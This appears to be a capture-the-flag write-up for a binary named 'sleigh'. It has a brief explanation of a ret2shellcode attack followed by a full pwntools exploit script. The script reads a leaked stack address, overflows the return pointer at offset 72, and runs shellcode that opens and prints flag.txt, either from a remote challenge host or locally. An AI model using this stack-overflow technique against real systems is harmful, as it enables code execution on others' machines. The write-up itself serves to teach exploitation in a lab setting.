NX Stack is disabled meaning we can write shellcode onto the stack and execute it. We get given a stack leak pointing to the start of the input buffer. So we can write shellcode, overflow the return pointer, ret2shellcode, profit.
```python#!/usr/bin/env python3
from pwn import *
elf = ELF("./sleigh", checksec=False)context.binary = elfrop = ROP(elf)#context.log_level = "debug"gs = '''continue'''
def conn():    if args.REMOTE:	    r = remote("178.62.75.187", 31878)     else:        r = process([elf.path])        if args.GDB:            return gdb.debug(elf.path, gdbscript=gs)    return r
p = conn()
# Shellcode to read flag.txtshellcode = asm("""/* open(flag.txt, 0, 0) */lea rdi, [rip+flag]xor rsi, rsixor rdx, rdxpush 2pop raxsyscall
/*sendfile(1, rax, 0, 60) */mov rdi, 1mov rsi, raxxor rdx, rdxmov r8, 60mov rax, 40syscall
flag:    .string "flag.txt"""")
p.sendlineafter(b">", b"1")p.recvuntil(b"sleigh: [")
stackleak = int(p.recv(14), 16)info(f"Stack leak @ {stackleak}")payload = flat({0: shellcode, 72: pack(stackleak)})p.sendlineafter(b">", payload)p.interactive()```